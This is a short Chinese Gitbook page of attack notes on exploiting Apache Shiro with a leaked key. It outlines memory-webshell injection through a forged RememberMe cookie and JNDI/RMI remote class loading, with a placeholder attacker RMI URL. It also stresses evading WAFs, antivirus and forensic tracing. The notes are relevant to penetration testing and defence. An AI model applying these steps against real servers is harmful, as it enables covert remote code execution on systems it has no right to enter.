Shiro 有 Key 无链怎么利用

1. 内存马注入

这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马,我们就可以直接与服务器进行交互,绕过 WAF、IDS 等安全设备,并且不留下任何磁盘文件

利用原理

  • 自定义反序列化类:我们需要构造一个恶意的序列化数据,其中包含一个自定义的类
  • 反射机制:这个自定义类在反序列化时,其 readObject 方法会被调用。我们利用反射机制,在 readObject 方法中获取当前应用的 ServletContext
  • 注入 Webshell:有了 ServletContext,我们就可以动态地注册一个 Servlet、Filter 或者 Listener,从而注入一个内存 Webshell

具体步骤

  1. 编写内存马代码:使用 Java 编写一个内存马,通常是一个 Filter 或 Servlet,用于接收请求并执行命令
  2. 构造恶意序列化数据:将内存马代码嵌入到序列化数据中
  3. 加密:使用泄露的 Shiro Key,对这个序列化数据进行 AES 加密
  4. 发送请求:将加密后的数据作为 RememberMe cookie 的值发送到服务器
  5. 反序列化:Shiro 框架会解密并反序列化这个 cookie,从而触发我们的恶意代码,实现内存马注入

优势

  • 绕过传统安全设备:内存马直接运行在内存中,不依赖于文件,因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件
  • 无文件落地:攻击不留下任何磁盘痕迹,增加了溯源的难度

2. RMI 远程加载

这种方法利用了 Java 的远程方法调用(RMI)机制,通过反序列化来触发远程加载恶意代码

利用原理

  • JNDI 注入:反序列化时,我们可以构造一个 com.sun.jndi.rmi.registry.RegistryContext 对象,通过 JNDI 注入的方式,让服务器去连接一个我们控制的 RMI 服务器
  • 远程加载 Class 文件:RMI 服务器会返回一个恶意对象,该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件

具体步骤

  1. 搭建 RMI Server:利用 ysoserial 或自定义代码搭建一个恶意的 RMI 服务器
  2. 编写恶意 Class:编写一个恶意的 Class 文件,其中包含要执行的命令
  3. 构造恶意序列化数据:构造一个包含 JNDI 注入链接的序列化数据,例如 rmi://attacker_ip:port/EvilObject
  4. 加密并发送:使用 Shiro Key 对数据进行加密,并作为 RememberMe cookie 发送
  5. 反序列化触发:服务器反序列化时,会触发 JNDI 注入,连接我们的 RMI 服务器并加载恶意 Class,最终实现命令执行

限制

  • 需要目标服务器能够访问外网或者我们内网的 RMI 服务器
  • Java 版本对 JNDI 注入有一定限制,高版本可能需要额外配置
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:19

results matching ""

    No results matching ""